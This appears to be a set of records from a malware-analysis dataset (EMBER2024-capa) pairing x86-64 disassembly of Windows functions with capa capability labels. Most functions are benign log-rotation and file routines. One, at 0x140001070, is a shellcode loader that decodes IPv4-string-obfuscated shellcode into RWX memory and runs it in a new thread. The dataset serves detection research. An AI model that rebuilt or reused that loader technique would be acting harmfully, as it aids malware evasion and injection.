joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1402e2b10
Capabilities:
Set environment variable

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x20], rdi
push rbp
push r14
push r15
lea rbp, [rax - 0x5f]
sub rsp, 0xa0
xor r15d, r15d
mov r14, rdx
mov rsi, rcx
mov qword [rbp + 0x17], r15
xor edx, edx
mov qword [rbp + 0x1f], r15
lea rcx, [rbp - 0x39]
mov qword [rbp + 0x27], r15
mov qword [rbp + 0x2f], r15
mov edi, r15d
mov qword [rbp + 0x37], r15
mov byte [rbp + 0x3f], r15b
mov qword [rbp - 0x19], r15
mov qword [rbp - 0x11], r15
mov qword [rbp - 9], r15
mov qword [rbp - 1], r15
mov qword [rbp + 7], r15
mov byte [rbp + 0xf], r15b
call fcn.1402c7a78
mov rax, qword [rbp - 0x31]
mov ebx, 0xfde9
cmp dword [rax + 0xc], ebx
jne 0x1402e2b9a
cmp byte [rbp - 0x21], r15b
je 0x1402e2b95
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, ebx
jmp 0x1402e2bd0
call fcn.1402d4c00
test eax, eax
jne 0x1402e2bbc
cmp byte [rbp - 0x21], r15b
je 0x1402e2bb4
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, 1
jmp 0x1402e2bd0
cmp byte [rbp - 0x21], r15b
je 0x1402e2bcd
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov r9d, r15d
lea r8, [rbp + 0x77]
mov rcx, rsi
lea rdx, [rbp + 0x17]
call fcn.1402ce87c
test eax, eax
jne 0x1402e2c70
xor edx, edx
lea rcx, [rbp - 0x39]
call fcn.1402c7a78
mov rax, qword [rbp - 0x31]
cmp dword [rax + 0xc], ebx
jne 0x1402e2c0f
cmp byte [rbp - 0x21], r15b
je 0x1402e2c44
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
jmp 0x1402e2c44
call fcn.1402d4c00
test eax, eax
jne 0x1402e2c30
cmp byte [rbp - 0x21], r15b
je 0x1402e2c29
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, 1
jmp 0x1402e2c44
cmp byte [rbp - 0x21], r15b
je 0x1402e2c41
mov rax, qword [rbp - 0x39]
and dword [rax + 0x3a8], 0xfffffffd
mov ebx, r15d
mov r9d, ebx
lea r8, [rbp + 0x77]
lea rdx, [rbp - 0x19]
mov rcx, r14
call fcn.1402ce87c
mov rdi, qword [rbp - 9]
test eax, eax
jne 0x1402e2c70
mov rcx, qword [rbp + 0x27]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_SetEnvironmentVariableW]
mov ebx, eax
jmp 0x1402e2c73
mov ebx, r15d
cmp byte [rbp + 0xf], r15b
je 0x1402e2c81
mov rcx, rdi
call fcn.1402d66ac
cmp byte [rbp + 0x3f], r15b
je 0x1402e2c90
mov rcx, qword [rbp + 0x27]
call fcn.1402d66ac
lea r11, [rsp + 0xa0]
mov eax, ebx
mov rbx, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rdi, qword [r11 + 0x38]
mov rsp, r11
pop r15
pop r14
pop rbp
ret
Function at 0x1402e2cd8
Capabilities:
Get disk information

Disassembly:
push rbx
sub rsp, 0x30
mov rax, qword [0x1403a3648]
xor rax, rsp
mov qword [rsp + 0x28], rax
cmp ecx, 0x1a
jbe 0x1402e2d22
call fcn.1402cdc84
mov dword [rax], reloc.WS2_32.dll_ntohs
call fcn.1402cdc64
mov dword [rax], ntohs
call fcn.1402d67c4
xor eax, eax
mov rcx, qword [rsp + 0x28]
xor rcx, rsp
call fcn.14017d1d0
add rsp, 0x30
pop rbx
ret
xor ebx, ebx
test ecx, ecx
jne 0x1402e2d2d
lea eax, [rbx + 1]
jmp 0x1402e2d0f
add cx, 0x40
mov dword [rsp + 0x22], 0x5c003a
mov word [rsp + 0x20], cx
lea rcx, [rsp + 0x20]
mov word [rsp + 0x26], bx
call qword [sym.imp.KERNEL32.dll_GetDriveTypeW]
test eax, eax
je 0x1402e2d0d
cmp eax, 1
setne bl
mov eax, ebx
jmp 0x1402e2d0f

Function at 0x1402e5d18
Capabilities:
Clear file content

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rbp
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
push r12
push r14
push r15
sub rsp, 0x20
mov rbx, rdx
mov rsi, r8
xor edx, edx
mov r14d, ecx
lea r8d, [rdx + 1]
call fcn.1402de2a8
xor edx, edx
mov ecx, r14d
mov r12, rax
lea r8d, [rdx + 2]
call fcn.1402de2a8
mov rbp, rbx
sub rbp, rax
cmp r12, 0xffffffffffffffff
je 0x1402e5e68
cmp rax, 0xffffffffffffffff
je 0x1402e5e68
xor edi, edi
test rbp, rbp
jle 0x1402e5e13
lea edx, [rdi + 1]
mov ecx, 0x1000
call fcn.1402d6d84
mov rbx, rax
test rax, rax
jne 0x1402e5da0
lea edi, [rax + 0xc]
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], edi
jmp 0x1402e5e09
mov edx, 0x8000
mov ecx, r14d
call fcn.1402ced18
mov r15d, eax
mov eax, 0x1000
mov r8d, ebp
cmp rbp, rax
mov r9, rsi
mov rdx, rbx
mov ecx, r14d
cmovge r8d, eax
call fcn.1402dca7c
cmp eax, 0xffffffff
je 0x1402e5de9
cdqe
sub rbp, rax
test rbp, rbp
jg 0x1402e5db0
mov edx, r15d
mov ecx, r14d
call fcn.1402ced18
jmp 0x1402e5e09
cmp byte [rsi + 0x38], dil
je 0x1402e5e00
cmp dword [rsi + 0x34], 5
jne 0x1402e5e00
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], ntohs
cmp byte [rsi + 0x30], dil
je 0x1402e5e09
mov edi, dword [rsi + 0x2c]
mov rcx, rbx
call fcn.1402d66ac
jmp 0x1402e5e7c
jns 0x1402e5e7c
xor r8d, r8d
mov rdx, rbx
mov ecx, r14d
call fcn.1402de2a8
cmp rax, 0xffffffffffffffff
jne 0x1402e5e34
cmp byte [rsi + 0x30], dil
je 0x1402e5e7c
mov edi, dword [rsi + 0x2c]
jmp 0x1402e5e7c
mov ecx, r14d
call fcn.1402dafb4
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
test eax, eax
jne 0x1402e5e7c
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov byte [rsi + 0x38], 1
mov edi, ntohs
mov dword [rsi + 0x34], eax
mov byte [rsi + 0x30], 1
mov dword [rsi + 0x2c], ntohs
jmp 0x1402e5e7c
xor edi, edi
cmp byte [rsi + 0x30], dil
je 0x1402e5e75
mov eax, dword [rsi + 0x2c]
jmp 0x1402e5e7a
mov eax, reloc.WS2_32.dll_shutdown
mov edi, eax
xor r8d, r8d
mov rdx, r12
mov ecx, r14d
call fcn.1402de2a8
mov rbx, qword [rsp + 0x40]
mov eax, edi
mov rdi, qword [rsp + 0x58]
mov rbp, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x50]
add rsp, 0x20
pop r15
pop r14
pop r12
ret
Function at 0x140001070
Capabilities:
Allocate or change rwx memory
Create thread
Execute shellcode via indirect call
Spawn thread to rwx shellcode

Disassembly:
push rdi
sub rsp, 0x60
mov rax, qword [0x140005008]
xor rax, rsp
mov qword [rsp + 0x40], rax
mov edx, 0x2e0
lea rcx, str._i__SizeOf_IPv4Shell_:__d__n
call fcn.140001010
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edx, edx
mov dword [rsp + 0x20], 0x40
mov rcx, rax
mov r9d, 0x3000
mov r8d, 0x170
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov rdi, rax
test rax, rax
jne 0x1400010ed
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____VirtualAllocEx_Failed_With_Error:__d__n
call fcn.140001010
lea eax, [rdi - 1]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x60
pop rdi
ret
mov qword [rsp + 0x70], rbx
lea rcx, str.___LpBaseAddress:_0x_0_16p__n
mov qword [rsp + 0x78], rbp
mov rdx, rdi
mov qword [rsp + 0x80], rsi
mov qword [rsp + 0x88], r13
mov qword [rsp + 0x58], r14
mov qword [rsp + 0x50], r15
call fcn.140001010
lea rcx, str.NTDLL
mov qword [rsp + 0x30], 0
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
mov rcx, rax
lea rdx, str.RtlIpv4StringToAddressA
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov r14, rax
test rax, rax
jne 0x140001167
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov edx, eax
lea rcx, str.____GetProcAddress_Failed_With_Error_:__d__n
call fcn.140001010
jmp 0x14000125b
xor esi, esi
lea r13, str.252.72.131.228
xor ebp, ebp
lea r15, [0x140005320]
mov rbx, r13
nop dword [rax]
mov rcx, qword [rbx]
lea r8, [rsp + 0x30]
movsxd r9, esi
xor edx, edx
add r9, rdi
call r14
test eax, eax
js 0x140001244
add esi, 4
inc ebp
add rbx, 8
cmp rbx, r15
jl 0x140001180
mov r8d, 0x170
lea rcx, str.___Deobfuscated_bytes_at_address__p_of_size___d._n
mov rdx, rdi
call fcn.140001010
lea rcx, str.___Deobfuscated_Shellcode:_n
call fcn.140001010
xor ebx, ebx
nop dword [rax]
movzx edx, byte [rbx + rdi]
lea rcx, str._02X
call fcn.140001010
inc rbx
cmp rbx, 0x170
jl 0x1400011d0
lea rcx, [0x140003980]
call fcn.140001010
lea rax, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x28], rax
mov r8, rdi
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
lea rcx, str.___hit_Enter_To_Exit_...__n
call fcn.140001010
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll_getchar]
mov edx, 0x170
mov r8d, 0x4000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
jmp 0x140001260
movsxd rdx, ebp
lea rcx, str.____RtlIpv6StringToAddressA_failed_for__s_result__x
mov r8d, eax
mov rdx, qword [r13 + rdx*8]
call fcn.140001010
mov eax, 0xffffffff
mov r14, qword [rsp + 0x58]
mov r13, qword [rsp + 0x88]
mov rsi, qword [rsp + 0x80]
mov rbp, qword [rsp + 0x78]
mov rbx, qword [rsp + 0x70]
mov r15, qword [rsp + 0x50]
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.1400012b0
add rsp, 0x60
pop rdi
ret
Function at 0x140001010
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0xa0
mov r8, qword [rdx + 8]
mov rdi, rdx
mov rsi, rcx
test r8, r8
jne 0x14000103d
mov dword [rdx + 0x2018], 1
jmp 0x14000109a
cmp dword [rcx], 0
je 0x14000107b
mov edx, 0x100
lea rcx, [rsp + 0x20]
or rbx, 0xffffffffffffffff
call fcn.140008cc0
test eax, eax
mov eax, dword [rsi]
cmove rbx, qword [rsp + 0x58]
cmp rbx, rax
jle 0x140001070
mov dword [rdi + 0x2018], 3
jmp 0x14000109a
cmp dword [rsi + 4], 0
je 0x14000109a
mov rcx, rsi
jmp 0x140001081
cmp dword [rcx + 4], 0
je 0x1400010e8
xor edx, edx
call fcn.140001770
cmp eax, dword [rdi + 0x201c]
jl 0x14000109a
mov dword [rdi + 0x2018], 2
movsxd rax, dword [rdi + 0x2018]
test eax, eax
je 0x1400010d3
cmp dword [rsi + 0x18], 0
je 0x1400010d3
mov ecx, 2
lea rdi, str.None
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, qword [rdi + rbx*8]
lea rdx, str.File_rotation_needed__reason:__s_n
mov rcx, rax
call fcn.140001720
lea r11, [rsp + 0xa0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.No_rotation_time_or_size_specified_n
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140001fd0
Capabilities:
Terminate process

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r14
sub rsp, 0x120
mov rax, qword [0x1400130a0]
xor rax, rsp
mov qword [rsp + 0x110], rax
mov rsi, rcx
mov rbp, r9
mov rcx, qword [r8 + 0x30]
mov rdi, r8
mov r14, rdx
test rcx, rcx
je 0x14000209a
mov rdx, qword [rdx]
call fcn.1400077e0
cmp dword [rdi + 0x18], 0
je 0x140002039
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, qword [rdi + 0x30]
lea r8, [r14 + 0x10]
mov rcx, rax
lea rdx, str.Linking__s_to__s_n
call fcn.140001720
mov rdx, qword [rdi + 0x30]
lea rcx, [r14 + 0x10]
call fcn.140007350
test eax, eax
je 0x14000209a
mov r8d, 0x78
lea rdx, [rsp + 0x90]
mov ecx, eax
call fcn.140002760
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r9, qword [rdi + 0x30]
lea r8, [r14 + 0x10]
mov rcx, rax
lea rdx, str.Error_linking_file__s_to__s___s__n
lea rax, [rsp + 0x90]
mov qword [rsp + 0x20], rax
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
cmp qword [rdi + 0x38], 0
je 0x14000222a
nop word [rax + rax]
mov r9d, 1
mov qword [rsp + 0x20], rsi
xor r8d, r8d
lea rcx, [rsp + 0x38]
xor edx, edx
call fcn.14000ac60
cmp eax, 0x11175
je 0x1400020b0
mov rdx, rsi
lea rcx, [rsp + 0x30]
call fcn.14000b040
test eax, eax
je 0x140002111
mov r8d, 0x78
lea rdx, [rsp + 0x90]
mov ecx, eax
call fcn.140002760
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.post_rotate:_apr_procattr_create_failed_for__s:__s_n
jmp 0x14000221b
mov rcx, qword [rsp + 0x30]
mov edx, 1
call fcn.14000b0a0
test eax, eax
jne 0x1400021f1
mov rcx, qword [rsp + 0x30]
lea edx, [rax + 2]
call fcn.14000b030
test eax, eax
jne 0x1400021f1
cmp qword [rbp + 8], 0
lea rax, [r14 + 0x10]
mov rdx, qword [rdi + 0x38]
mov qword [rsp + 0x68], rdx
mov qword [rsp + 0x70], rax
je 0x14000216d
lea rax, [rbp + 0x10]
mov qword [rsp + 0x80], 0
mov qword [rsp + 0x78], rax
jmp 0x140002176
mov qword [rsp + 0x78], 0
cmp dword [rdi + 0x18], 0
je 0x1400021a0
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, qword [rsp + 0x68]
lea rdx, str.Calling_post_rotate_program:__s_n
mov rcx, rax
call fcn.140001720
mov rdx, qword [rsp + 0x68]
mov rax, qword [rsp + 0x30]
lea r8, [rsp + 0x68]
mov qword [rsp + 0x28], rsi
lea rcx, [rsp + 0x38]
xor r9d, r9d
mov qword [rsp + 0x20], rax
call fcn.140009fc0
test eax, eax
je 0x14000222a
mov r8d, 0x78
lea rdx, [rsp + 0x90]
mov ecx, eax
call fcn.140002760
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.Could_not_spawn_post_rotate_process__s:__s_n
jmp 0x14000221b
mov r8d, 0x78
lea rdx, [rsp + 0x90]
mov ecx, eax
call fcn.140002760
mov ecx, 2
mov rbx, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea rdx, str.post_rotate:_could_not_set_up_process_attributes_for__s:__s_n
mov r8, qword [rdi + 0x38]
mov r9, rbx
mov rcx, rax
call fcn.140001720
mov rcx, qword [rsp + 0x110]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x120
pop r14
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140002250
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x20
mov rdi, rdx
mov rsi, rcx
or rbx, 0xffffffffffffffff
nop dword [rax]
inc rbx
cmp byte [rdx + rbx], 0
jne 0x140002270
mov rcx, qword [rcx + 8]
xor edx, edx
call fcn.1400088e0
test eax, eax
je 0x1400022b2
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea r8, [rsi + 0x10]
lea rdx, str.Error_truncating_the_file__s_n
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rcx, qword [rsi + 8]
xor r9d, r9d
mov r8, rbx
mov rdx, rdi
call fcn.1400086d0
test eax, eax
je 0x1400022f5
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
lea r9, [rsi + 0x10]
mov r8, rdi
mov rcx, rax
lea rdx, str.Error_writing_error___s__to_the_file__s_n
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
mov rbx, qword [rsp + 0x30]
mov rsi, qword [rsp + 0x38]
add rsp, 0x20
pop rdi
ret
Function at 0x140002310
Capabilities:
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x20
mov rbx, rdx
mov rdi, rcx
test rdx, rdx
je 0x140002342
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rbx
lea rdx, [0x14000e5f8]
mov rcx, rax
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rdi
lea rdx, str.Usage:__s___v____l____L_linkname____p_prog____f____D____t____e____n_number___logfile___rotation_time_in_seconds__rotation_size__BKMG___offset_minutes_from_UTC__n_n
mov rcx, rax
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rdi
lea rdx, str.Add_this:_n_nTransferLog___s__some_where_86400__n_n
mov rcx, rax
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rdi
lea rdx, str.or__n_nTransferLog___s__some_where_5M__n_n
mov rcx, rax
call fcn.140001720
mov ecx, 2
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov rcx, rax
lea rdx, str.to_httpd.conf._By_default__the_generated_name_will_be_n_logfile_.nnnn_where_nnnn_is_the_system_time_at_which_the_log_nnominally_starts__N.B._if_using_a_rotation_time__the_time_will_nalways_be_a_multiple_of_the_rotation_time__so_you_can_synchronize_ncron_scripts_with_it_._If__logfile__contains_strftime_conversion_nspecifications__those_will_be_used_instead._At_the_end_of_each_nrotation_time_or_when_the_file_size_is_reached_a_new_log_is_nstarted._n_nOptions:_n___v_______Verbose_operation._Messages_are_written_to_stderr._n___l_______Base_rotation_on_local_time_instead_of_UTC._n___L_path__Create_hard_link_from_current_log_to_specified_path._n___p_prog__Run_specified_program_after_opening_a_new_log_file._See_below._n___f_______Force_opening_of_log_on_program_start._n___D_______Create_parent_directories_of_log_file._n___t_______Truncate_logfile_instead_of_rotating__tail_friendly._n___e_______Echo_log_to_stdout_for_further_processing._n___n_num___Rotate_file_by_adding_suffixes_.1__.2__...__.num._n_nThe_program_for__p_is_invoked_as___prog___curfile____prevfile____nwhere__curfile__is_the_filename_of_the_newly_opened_logfile__and_n_prevfile___if_given__is_the_filename_of_the_previously_used_logfile._n_n
call fcn.140001720
mov ecx, 1
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3
Function at 0x140002820
Capabilities:
Accept command line arguments
Query environment variable

Disassembly:
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push r14
sub rsp, 0x20
mov rsi, r8
mov rdi, rdx
mov r14, rcx
call fcn.140002940
test eax, eax
jne 0x140002922
cmp dword [0x140015158], eax
jne 0x140002920
mov qword [rsp + 0x30], rbx
mov dword [0x140015158], 1
call qword [sym.imp.KERNEL32.dll_GetCommandLineW]
test rax, rax
je 0x14000289e
lea rdx, [rsp + 0x48]
mov rcx, rax
call qword [sym.imp.SHELL32.dll_CommandLineToArgvW]
mov rbx, rax
test rax, rax
je 0x14000289e
mov r8d, dword [rsp + 0x48]
mov rdx, rax
mov rcx, rdi
call fcn.14000b200
mov rcx, rbx
mov dword [r14], eax
call qword [sym.imp.KERNEL32.dll_GlobalFree]
call qword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll___p__environ]
mov rcx, rax
mov rdx, rdi
call fcn.140002a90
test rsi, rsi
je 0x1400028e7
lea ecx, [rax + 1]
movsxd rbx, ecx
shl rbx, 3
mov rcx, rbx
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
mov qword [rsi], rax
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll___p__environ]
mov rcx, qword [rsi]
mov r8, rbx
mov rdx, qword [rax]
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsW]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll___p__wenviron]
cmp qword [rax], 0
je 0x14000291b
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll___p__wenviron]
mov rbx, qword [rax]
call qword [sym.imp.api_ms_win_crt_environment_l1_1_0.dll___p__wenviron]
mov rcx, rbx
mov qword [rax], 0
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov rbx, qword [rsp + 0x30]
xor eax, eax
mov rsi, qword [rsp + 0x38]
mov rdi, qword [rsp + 0x40]
add rsp, 0x20
pop r14
ret

Function at 0x140002940
Capabilities:
Allocate thread local storage
Initialize winsock library

Disassembly:
sub rsp, 0x1e8
mov rax, qword [0x1400130a0]
xor rax, rsp
mov qword [rsp + 0x1d0], rax
mov eax, dword [0x14001515c]
mov ecx, eax
inc eax
mov dword [0x14001515c], eax
test ecx, ecx
jne 0x140002a19
lea rcx, [rsp + 0x28]
call fcn.14000b430
test eax, eax
jne 0x140002a39
call qword [sym.imp.KERNEL32.dll_TlsAlloc]
mov dword [0x1400153d0], eax
call fcn.140003a00
test eax, eax
jne 0x140002a3e
xor r9d, r9d
lea rcx, [rsp + 0x20]
xor r8d, r8d
xor edx, edx
call fcn.1400037c0
test eax, eax
je 0x1400029cf
mov eax, 0x4e22
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x1e8
ret
mov rcx, qword [rsp + 0x20]
lea rdx, str.apr_initialize
call fcn.140003b30
mov ecx, 2
lea rdx, [rsp + 0x30]
call qword [sym.imp.WSOCK32.dll_WSAStartup]
test eax, eax
jne 0x140002a3e
movzx eax, word [rsp + 0x30]
cmp al, 2
jne 0x140002a33
shr ax, 8
test al, al
jne 0x140002a33
mov rcx, qword [rsp + 0x20]
call fcn.14000d320
mov rcx, qword [rsp + 0x20]
call fcn.14000b0b0
xor eax, eax
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x1e8
ret
call qword [sym.imp.WSOCK32.dll_WSACleanup]
mov eax, 0x11
mov rcx, qword [rsp + 0x1d0]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x1e8
ret
Function at 0x1400077e0
Capabilities:
Delete file

Disassembly:
mov eax, 0x4038
call fcn.14000c8e0
sub rsp, rax
mov rax, qword [0x1400130a0]
xor rax, rsp
mov qword [rsp + 0x4020], rax
mov r8, rcx
mov edx, 0x2000
lea rcx, [rsp + 0x20]
call fcn.140007c90
test eax, eax
jne 0x140007853
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000782e
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
jne 0x140007848
xor eax, eax
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x4038
ret
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0xafc80
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x4038
ret

Function at 0x140007dc0
Capabilities:
Write file on windows

Disassembly:
push rbx
sub rsp, 0x40
cmp byte [rcx + 0x48], 0
mov rbx, rcx
je 0x140007ea4
mov qword [rsp + 0x58], rbp
mov qword [rsp + 0x38], r14
xor r14d, r14d
cmp dword [rcx + 0x78], 1
mov ebp, r14d
mov dword [rsp + 0x50], r14d
jne 0x140007e92
mov qword [rsp + 0x68], rdi
mov rdi, qword [rcx + 0x60]
test rdi, rdi
je 0x140007e8d
mov qword [rsp + 0x60], rsi
mov rsi, qword [rcx + 0x58]
mov qword [rsp + 0x30], r15
mov r15d, 0xffffffff
nop dword [rax + rax]
mov rcx, qword [rbx + 8]
lea r9, [rsp + 0x50]
mov r8d, edi
mov qword [rsp + 0x20], r14
cmp rdi, r15
mov rdx, rsi
cmova r8d, r15d
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140007e5a
mov eax, dword [rsp + 0x50]
add qword [rbx + 0x80], rax
add rsi, rax
sub rdi, rax
jne 0x140007e20
jmp 0x140007e7f
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140007e70
call qword [sym.imp.KERNEL32.dll_GetLastError]
lea ebp, [rax + 0xafc80]
mov ecx, dword [rsp + 0x50]
add qword [rbx + 0x80], rcx
test ebp, ebp
jne 0x140007e83
mov qword [rbx + 0x60], r14
mov rsi, qword [rsp + 0x60]
mov r15, qword [rsp + 0x30]
mov rdi, qword [rsp + 0x68]
mov r14, qword [rsp + 0x38]
mov eax, ebp
mov rbp, qword [rsp + 0x58]
add rsp, 0x40
pop rbx
ret
xor eax, eax
add rsp, 0x40
pop rbx
ret
Function at 0x140008ac0
Capabilities:
Create directory

Disassembly:
mov eax, 0x4038
call fcn.14000c8e0
sub rsp, rax
mov rax, qword [0x1400130a0]
xor rax, rsp
mov qword [rsp + 0x4020], rax
mov r8, rcx
mov edx, 0x2000
lea rcx, [rsp + 0x20]
call fcn.140007c90
test eax, eax
jne 0x140008b35
xor edx, edx
lea rcx, [rsp + 0x20]
call qword [sym.imp.KERNEL32.dll_CreateDirectoryW]
test eax, eax
jne 0x140008b33
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140008b33
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0xafc80
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x4038
ret
xor eax, eax
mov rcx, qword [rsp + 0x4020]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x4038
ret

Function at 0x140008cc0
Capabilities:
Get file size

Disassembly:
push rbx
push rsi
push rdi
sub rsp, 0x80
mov rax, qword [0x1400130a0]
xor rax, rsp
mov qword [rsp + 0x70], rax
cmp byte [r8 + 0x48], 0
mov rdi, r8
mov esi, edx
mov rbx, rcx
je 0x140008cf5
mov rcx, r8
call fcn.140007dc0
test eax, eax
jne 0x140008d47
mov rcx, qword [rdi + 8]
cmp esi, 0x100
jne 0x140008d5f
lea rdx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetFileSizeEx]
test eax, eax
jne 0x140008d27
call qword [sym.imp.KERNEL32.dll_GetLastError]
test eax, eax
je 0x140008d45
call qword [sym.imp.KERNEL32.dll_GetLastError]
add eax, 0xafc80
jmp 0x140008d47
mov rax, qword [rdi]
mov qword [rbx], rax
mov rax, qword [rdi + 0x38]
mov qword [rbx + 0x60], rax
mov rax, qword [rsp + 0x30]
mov qword [rbx + 0x38], rax
mov dword [rbx + 8], 0x100
xor eax, eax
mov rcx, qword [rsp + 0x70]
xor rcx, rsp
call fcn.14000c950
add rsp, 0x80
pop rdi
pop rsi
pop rbx
ret
lea rdx, [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_GetFileInformationByHandle]
test eax, eax
je 0x140008d10
mov rax, qword [rdi + 0x38]
lea rdx, [rsp + 0x38]
xor r9d, r9d
mov dword [rsp + 0x28], esi
mov rcx, rbx
mov qword [rsp + 0x20], rax
lea r8d, [r9 + 1]
call fcn.140009100
cmp dword [rbx + 0x10], 1
jne 0x140008dbd
mov rcx, qword [rdi + 8]
call qword [sym.imp.KERNEL32.dll_GetFileType]
test eax, eax
je 0x140008dbd
cmp eax, 2
jne 0x140008db1
mov dword [rbx + 0x10], 3
jmp 0x140008dbd
cmp eax, 3
jne 0x140008dbd
mov dword [rbx + 0x10], 5
mov rax, qword [rdi]
mov ecx, dword [rsp + 0x64]
mov qword [rbx], rax
mov rax, qword [rdi + 0x38]
or dword [rbx + 8], 0x7000
mov qword [rbx + 0x60], rax
mov eax, dword [rsp + 0x68]
shl rcx, 0x20
or rcx, rax
mov eax, dword [rsp + 0x54]
